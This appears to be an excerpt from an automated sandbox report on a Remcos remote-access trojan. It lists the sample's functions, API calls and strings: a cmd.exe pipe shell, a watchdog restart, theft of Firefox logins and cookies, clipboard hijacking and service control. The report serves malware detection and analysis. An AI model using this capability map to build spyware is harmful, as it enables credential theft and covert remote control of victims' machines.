                                                                                    • API ID: AllocateHeap$_free
                                                                                    • String ID:
                                                                                    • API String ID: 1482568997-0
                                                                                    • Opcode ID: 3d177ca75d5ea8bf6d90fdb04bae81de717c1a54331d3a1fd2dcf15685d4e05a
                                                                                    • Instruction ID: 4712e64dbfd3facd523fb7003498e443a4cb232c20591b94f19083ba6a399024
                                                                                    • Opcode Fuzzy Hash: 3d177ca75d5ea8bf6d90fdb04bae81de717c1a54331d3a1fd2dcf15685d4e05a
                                                                                    • Instruction Fuzzy Hash: 68F0FC3E6051396BDB212A2AAC04B6B37DD9F817F4F1144DDEC18D6391EF30D400A965
                                                                                    Function 02850C8C Relevance: 3.0, APIs: 2, Instructions: 35COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID:
                                                                                    • API String ID: 269201875-0
                                                                                    • Opcode ID: 1ff03c4c2c0b7cd677eee3c8f90688eadeb33ae4f6d6da8c2d3ecb310e45be0d
                                                                                    • Instruction ID: 6d5cf3a6031cc476242e16eb33a812b80fad04189521a37b9ede0f32cd0b452e
                                                                                    • Opcode Fuzzy Hash: 1ff03c4c2c0b7cd677eee3c8f90688eadeb33ae4f6d6da8c2d3ecb310e45be0d
                                                                                    • Instruction Fuzzy Hash: 4EE0E52F5056345BF231327E7C0876A16479B87378F1187A6EE25C60C0DF608C4A8893
                                                                                    Function 0281163E Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: f210c679e2b780eded3ea4ef50917041f60fa4d2abe52b8749c2b449606446f0
                                                                                    • Instruction ID: 2bb79d7054054ee9aa3523c833293f66d625eed7917c1bb4c9a81379aabd5da3
                                                                                    • Opcode Fuzzy Hash: f210c679e2b780eded3ea4ef50917041f60fa4d2abe52b8749c2b449606446f0
                                                                                    • Instruction Fuzzy Hash: 9AF027BC2043015ACB5C8734C85872A779E5B80259F288B2DF11FC50D5DB32C884CB05
                                                                                    Function 02829A77 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetForegroundWindow.USER32(?,028824A0), ref: 02829A9B
                                                                                    • GetWindowTextW.USER32(00000000,?,00000200), ref: 02829AAA
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Window$ForegroundText
                                                                                    • String ID:
                                                                                    • API String ID: 29597999-0
                                                                                    • Opcode ID: eefaca2e45e3a0842b7f908d206570afce331bc0cc26c859f915c74e744d525b
                                                                                    • Instruction ID: c1a9848a5691d1eb3055ebacdb9e054350bb2b0d9080c2b814bf7f30581dfc80
                                                                                    • Opcode Fuzzy Hash: eefaca2e45e3a0842b7f908d206570afce331bc0cc26c859f915c74e744d525b
                                                                                    • Instruction Fuzzy Hash: 65E09B7AD0032C27EB2066A9EC4DFE7B77CEB41720F08019AF519D3181E97459148AE1
                                                                                    Function 02818F1F Relevance: 1.6, APIs: 1, Instructions: 80COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _wcslen.LIBCMT ref: 02818F39
                                                                                      • Part of subcall function 02819203: CreateThread.KERNEL32(00000000,00000000,02819305,?,00000000,00000000), ref: 0281928B
                                                                                      • Part of subcall function 02819203: CreateThread.KERNEL32(00000000,00000000,028192EF,?,00000000,00000000), ref: 0281929B
                                                                                      • Part of subcall function 02819203: CreateThread.KERNEL32(00000000,00000000,Function_00009311,?,00000000,00000000), ref: 028192A7
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateThread$_wcslen
                                                                                    • String ID:
                                                                                    • API String ID: 1119755333-0
                                                                                    • Opcode ID: ffa2d8d56dfefa64aac0d1193d8124e75f69d1f557cd5181fb4bc456eed1d347
                                                                                    • Instruction ID: 553d7cc0ca75578bd61aa099cbfb2a550747845108bcae94240b33cae88b5253
                                                                                    • Opcode Fuzzy Hash: ffa2d8d56dfefa64aac0d1193d8124e75f69d1f557cd5181fb4bc456eed1d347
                                                                                    • Instruction Fuzzy Hash: E821713D9141899ACB09FFACD8559EE7BBEAF50310F000119D905D22D4EF609619CE92
                                                                                    Function 02853649 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RtlAllocateHeap.NTDLL(00000000,02843049,?,?,028465E7,?,?,00000000,?,?,0281C88A,02843049,?,?,?,?), ref: 0285367B
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AllocateHeap
                                                                                    • String ID:
                                                                                    • API String ID: 1279760036-0
                                                                                    • Opcode ID: d0e255e038e2d1b5a366dea14646fb6d5a5a0017be3988cc13ef3040df02d99b
                                                                                    • Instruction ID: 8717c37234e2d428c14da467b9989e090c48eaec286060410c453c52107d628e
                                                                                    • Opcode Fuzzy Hash: d0e255e038e2d1b5a366dea14646fb6d5a5a0017be3988cc13ef3040df02d99b
                                                                                    • Instruction Fuzzy Hash: F7E02B3D54123457DB32262A5C0476BB6CD9F453F9F0641ACEC49F62C1DF21C81095E6
                                                                                    Function 02834A66 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: recv
                                                                                    • String ID:
                                                                                    • API String ID: 1507349165-0
                                                                                    • Opcode ID: 282a772c87521d140e09ae09ef846bdb6b68e3278d83d9a2ed775e0c0d627dd1
                                                                                    • Instruction ID: 96015719417ce898621c47e74db090fa1413275133469e9ea01dbd2464aa3ba1
                                                                                    • Opcode Fuzzy Hash: 282a772c87521d140e09ae09ef846bdb6b68e3278d83d9a2ed775e0c0d627dd1
                                                                                    • Instruction Fuzzy Hash: 0EB092BD109212BF8A060B60C8088AB7EEEABC83C0B008C0CF54A801A4D63684609B21
                                                                                    Function 02834A7D Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: send
                                                                                    • String ID:
                                                                                    • API String ID: 2809346765-0
                                                                                    • Opcode ID: f419d49f8ebbd7af1fa94be03fa21608726ef9f6a138c4c88ac57d9c911542c5
                                                                                    • Instruction ID: 2a2d02a97045cd2ffaa3a53f6cee2c62daf5f31ddaf8564fb32456dceaddedcb
                                                                                    • Opcode Fuzzy Hash: f419d49f8ebbd7af1fa94be03fa21608726ef9f6a138c4c88ac57d9c911542c5
                                                                                    • Instruction Fuzzy Hash: 8AB092BD108212BF8A060B60C80886B7EAAEFC8784B008C0CF54A801A4D63684609B22
                                                                                    Function 02814CA3 Relevance: 1.4, APIs: 1, Instructions: 121COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CloseHandle.KERNEL32(?,?,00000000), ref: 02814DBB
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseHandle
                                                                                    • String ID:
                                                                                    • API String ID: 2962429428-0
                                                                                    • Opcode ID: 93456c09126e05b2f429bd379ae49cddb4f6356adfbcf2be7fc0b58972495a23
                                                                                    • Instruction ID: 253b647cc5f1320312e5f6a08b8cb92bd72e3872a712901538f8efaa7d3582c7
                                                                                    • Opcode Fuzzy Hash: 93456c09126e05b2f429bd379ae49cddb4f6356adfbcf2be7fc0b58972495a23
                                                                                    • Instruction Fuzzy Hash: 5441847D604341AFCB15EB68DC54DAFB7EEAF84310F440A1DF986D26D0DB24A9098B52

                                                                                    Non-executed Functions

                                                                                    Function 0281567A Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 278pipesleepfileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __Init_thread_footer.LIBCMT ref: 028156C6
                                                                                    • __Init_thread_footer.LIBCMT ref: 02815703
                                                                                    • CreatePipe.KERNEL32(02883BB4,02883B9C,02883AC0,00000000,02873068,00000000), ref: 02815796
                                                                                    • CreatePipe.KERNEL32(02883BA0,02883BBC,02883AC0,00000000), ref: 028157AC
                                                                                    • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,02883AD0,02883BA4), ref: 0281581F
                                                                                    • Sleep.KERNEL32(0000012C,00000093,?), ref: 02815877
                                                                                    • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0281589C
                                                                                    • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 028158C9
                                                                                      • Part of subcall function 02842525: __onexit.LIBCMT ref: 0284252B
                                                                                    • WriteFile.KERNEL32(00000000,00000000,?,00000000,02881F28,0287306C,00000062,02873050), ref: 028159C4
                                                                                    • Sleep.KERNEL32(00000064,00000062,02873050), ref: 028159DE
                                                                                    • TerminateProcess.KERNEL32(00000000), ref: 028159F7
                                                                                    • CloseHandle.KERNEL32 ref: 02815A03
                                                                                    • CloseHandle.KERNEL32 ref: 02815A0B
                                                                                    • CloseHandle.KERNEL32 ref: 02815A1D
                                                                                    • CloseHandle.KERNEL32 ref: 02815A25
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexit
                                                                                    • String ID: SystemDrive$cmd.exe
                                                                                    • API String ID: 618029711-3633465311
                                                                                    • Opcode ID: 264a0c445b83dcc170cf695b170fe9a42a3ac07e179b073e3f67d3b726b4a7f7
                                                                                    • Instruction ID: a8bbecb009a28c5466573146d1a42569b7d746b3e9bdaed4a104bb1eb3d7b799
                                                                                    • Opcode Fuzzy Hash: 264a0c445b83dcc170cf695b170fe9a42a3ac07e179b073e3f67d3b726b4a7f7
                                                                                    • Instruction Fuzzy Hash: 9791D97DA44204AFD700FB2CEC54D2E779EEB80B04F40096DF94AD72D5DB689C288B52
                                                                                    Function 02820B5C Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetCurrentProcessId.KERNEL32 ref: 02820B6B
                                                                                      • Part of subcall function 02822268: RegCreateKeyA.ADVAPI32(80000001,00000000,02873050), ref: 02822276
                                                                                      • Part of subcall function 02822268: RegSetValueExA.ADVAPI32(02873050,000000AF,00000000,00000004,00000001,00000004,?,?,?,0281B093,028738E0,00000001,000000AF,02873050), ref: 02822291
                                                                                      • Part of subcall function 02822268: RegCloseKey.ADVAPI32(02873050,?,?,?,0281B093,028738E0,00000001,000000AF,02873050), ref: 0282229C
                                                                                    • OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 02820BAB
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 02820BBA
                                                                                    • CreateThread.KERNEL32(00000000,00000000,02821253,00000000,00000000,00000000), ref: 02820C10
                                                                                    • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 02820E7F
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
                                                                                    • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
                                                                                    • API String ID: 3018269243-13974260
                                                                                    • Opcode ID: 6de0806f554388faae2ae1de990d2ac4ecf990cce2b36882da263a0b64e80066
                                                                                    • Instruction ID: 8ef61d2e47afa915a3c035a809a1b3f5de4aff7c066c87c5bc695c8b3b9b08b2
                                                                                    • Opcode Fuzzy Hash: 6de0806f554388faae2ae1de990d2ac4ecf990cce2b36882da263a0b64e80066
                                                                                    • Instruction Fuzzy Hash: F871C23D54425057E304FBA8C859CAF77AEAFA1310F40092DF99AD21D4EF64994DCEA3
                                                                                    Function 0281AA71 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0281AAF0
                                                                                    • FindClose.KERNEL32(00000000), ref: 0281AB0A
                                                                                    • FindNextFileA.KERNEL32(00000000,?), ref: 0281AC2D
                                                                                    • FindClose.KERNEL32(00000000), ref: 0281AC53
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Find$CloseFile$FirstNext
                                                                                    • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                                                                                    • API String ID: 1164774033-3681987949
                                                                                    • Opcode ID: 249666a9f59ee8f1a88576595f236b0658f84c918eebaa28d9858b8ffefba9c7
                                                                                    • Instruction ID: f0859c24cdb91be37d56bdd4f3319c369838faefa326a29d1999088b40a4d399
                                                                                    • Opcode Fuzzy Hash: 249666a9f59ee8f1a88576595f236b0658f84c918eebaa28d9858b8ffefba9c7
                                                                                    • Instruction Fuzzy Hash: 0C51493DA001199BEB18FBB8DC59DEEB72EAF50300F400669E50AE21D4FF749A45CE42
                                                                                    Function 02824EC1 Relevance: 18.1, APIs: 12, Instructions: 83clipboardmemoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenClipboard.USER32 ref: 02824EC2
                                                                                    • EmptyClipboard.USER32 ref: 02824ED0
                                                                                    • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 02824EF0
                                                                                    • GlobalLock.KERNEL32(00000000), ref: 02824EF9
                                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 02824F2F
                                                                                    • SetClipboardData.USER32(0000000D,00000000), ref: 02824F38
                                                                                    • CloseClipboard.USER32 ref: 02824F55
                                                                                    • OpenClipboard.USER32 ref: 02824F5C
                                                                                    • GetClipboardData.USER32(0000000D), ref: 02824F6C
                                                                                    • GlobalLock.KERNEL32(00000000), ref: 02824F75
                                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 02824F7E
                                                                                    • CloseClipboard.USER32 ref: 02824F84
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmpty
                                                                                    • String ID:
                                                                                    • API String ID: 2339235153-0
                                                                                    • Opcode ID: 7a4b8383a34729db68d4b4c3e07d71f2418c1ddee032851f36d01054a8dbc2de
                                                                                    • Instruction ID: d81856624f1d6e44539b781e84ad44d9980d9e7e94fa53ec8754e62bbf4d4498
                                                                                    • Opcode Fuzzy Hash: 7a4b8383a34729db68d4b4c3e07d71f2418c1ddee032851f36d01054a8dbc2de
                                                                                    • Instruction Fuzzy Hash: B121943DA442609BD704BBB4D85D96E77ADAF90301F48191DF61BC25C1FF3888188E62
                                                                                    Function 0282A01B Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,02882200,00000001), ref: 0282A076
                                                                                    • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,02882200,00000001), ref: 0282A0A6
                                                                                    • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,?,02882200,00000001), ref: 0282A118
                                                                                    • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,02882200,00000001), ref: 0282A125
                                                                                      • Part of subcall function 0282A01B: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,02882200,00000001), ref: 0282A0FB
                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,02882200,00000001), ref: 0282A146
                                                                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,?,02882200,00000001), ref: 0282A15C
                                                                                    • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,?,02882200,00000001), ref: 0282A163
                                                                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,?,02882200,00000001), ref: 0282A16C
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                                                                    • String ID: pth_unenc
                                                                                    • API String ID: 2341273852-4028850238
                                                                                    • Opcode ID: 5478c24a7b5f458286b56975f130f44058c927079070c730a96cee955ab718a3
                                                                                    • Instruction ID: 0fe001f68f71edfc4ec3f31f21b45d315e3c310f2b264877ee2db59de8c9c163
                                                                                    • Opcode Fuzzy Hash: 5478c24a7b5f458286b56975f130f44058c927079070c730a96cee955ab718a3
                                                                                    • Instruction Fuzzy Hash: 5831C57E84423CAADB24EB64DC4CEDB73BDAF04314F4006A6E559D2190EF359AC88E60
                                                                                    Function 028275E1 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 204COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 0$1$2$3$4$5$6$7
                                                                                    • API String ID: 0-3177665633
                                                                                    • Opcode ID: dd3535e32c61f1d2af22ec8400a064026bee4392ce76f1f4611ca6f4fb3925ba
                                                                                    • Instruction ID: 44bb076f6277b4d50d4ac3d91b2c85f35bc450576fd8cc6af985975ca7b7ce02
                                                                                    • Opcode Fuzzy Hash: dd3535e32c61f1d2af22ec8400a064026bee4392ce76f1f4611ca6f4fb3925ba
                                                                                    • Instruction Fuzzy Hash: 50618D7C5083119ED705EF24D8A1FAAB7D9AF84710F40490DE592972D0EB749B8CCBA7
                                                                                    Function 028286FE Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,028827F8), ref: 02828714
                                                                                    • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 02828763
                                                                                    • GetLastError.KERNEL32 ref: 02828771
                                                                                    • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 028287A9
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                                                                    • String ID:
                                                                                    • API String ID: 3587775597-0
                                                                                    • Opcode ID: e25edbf998fe2858224082947807c1f8ce4ca8ee035e49aca6e58244b063874e
                                                                                    • Instruction ID: 8b3f86073e54dda917c5cd51b057ec6b9f6fab90fe681fc6e1c5ec783947a9e3
                                                                                    • Opcode Fuzzy Hash: e25edbf998fe2858224082947807c1f8ce4ca8ee035e49aca6e58244b063874e
                                                                                    • Instruction Fuzzy Hash: 59814C7D504354ABC314EB64D888DAFB7AEAF94310F10492DF58692190EF70EA48CFA3
                                                                                    Function 02828AC3 Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0282843C,00000000), ref: 02828AD2
                                                                                    • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0282843C,00000000), ref: 02828AE9
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0282843C,00000000), ref: 02828AF6
                                                                                    • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0282843C,00000000), ref: 02828B05
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0282843C,00000000), ref: 02828B16
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0282843C,00000000), ref: 02828B19
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Service$CloseHandle$Open$ControlManager
                                                                                    • String ID:
                                                                                    • API String ID: 221034970-0
                                                                                    • Opcode ID: f4f277aeae192356808c13532c2fb33dadaf3c9fd3528de364410b6ce6ed368b
                                                                                    • Instruction ID: 55c38047eaa9779c5e28f2d9cda0ebe677cea5dadd275e3b3d40cb68cc064e47
                                                                                    • Opcode Fuzzy Hash: f4f277aeae192356808c13532c2fb33dadaf3c9fd3528de364410b6ce6ed368b
                                                                                    • Instruction Fuzzy Hash: 3311E57DD8117CBF9A10ABA4DC8DDBF7B6CDF412947000029FA09E2180EB684D59DAB2
                                                                                    Function 0281B28E Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000,?,?), ref: 0281B2DC
                                                                                    • FindNextFileW.KERNEL32(00000000,?,?,?), ref: 0281B3AF
                                                                                    • FindClose.KERNEL32(00000000,?,?), ref: 0281B3BE
                                                                                    • FindClose.KERNEL32(00000000,?,?), ref: 0281B3E9
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Find$CloseFile$FirstNext
                                                                                    • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                                                    • API String ID: 1164774033-405221262
                                                                                    • Opcode ID: 775faa47d6c5553594558dbe7c8e2ad0806471bc711b435a86fefe6c776f0aaf
                                                                                    • Instruction ID: c0d66a441e92fe86636b075228367c9f10ba1d782a2794598c9fa217b5c8541a
                                                                                    • Opcode Fuzzy Hash: 775faa47d6c5553594558dbe7c8e2ad0806471bc711b435a86fefe6c776f0aaf
                                                                                    • Instruction Fuzzy Hash: FD31723D9002595BDB14F7A8DC99DEEB7BEAF10714F000559E10AE21D0EFB49949CE52
                                                                                    Function 028228E3 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 485registrylibraryloaderCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegCreateKeyExW.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 028229B8
                                                                                    • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 028229C4
                                                                                    • LoadLibraryA.KERNEL32(Shlwapi.dll,SHDeleteKeyW,00000000,00000001), ref: 02822CBA
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 02822CC1
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressCloseCreateLibraryLoadProc
                                                                                    • String ID: SHDeleteKeyW$Shlwapi.dll
                                                                                    • API String ID: 1563625733-314212984
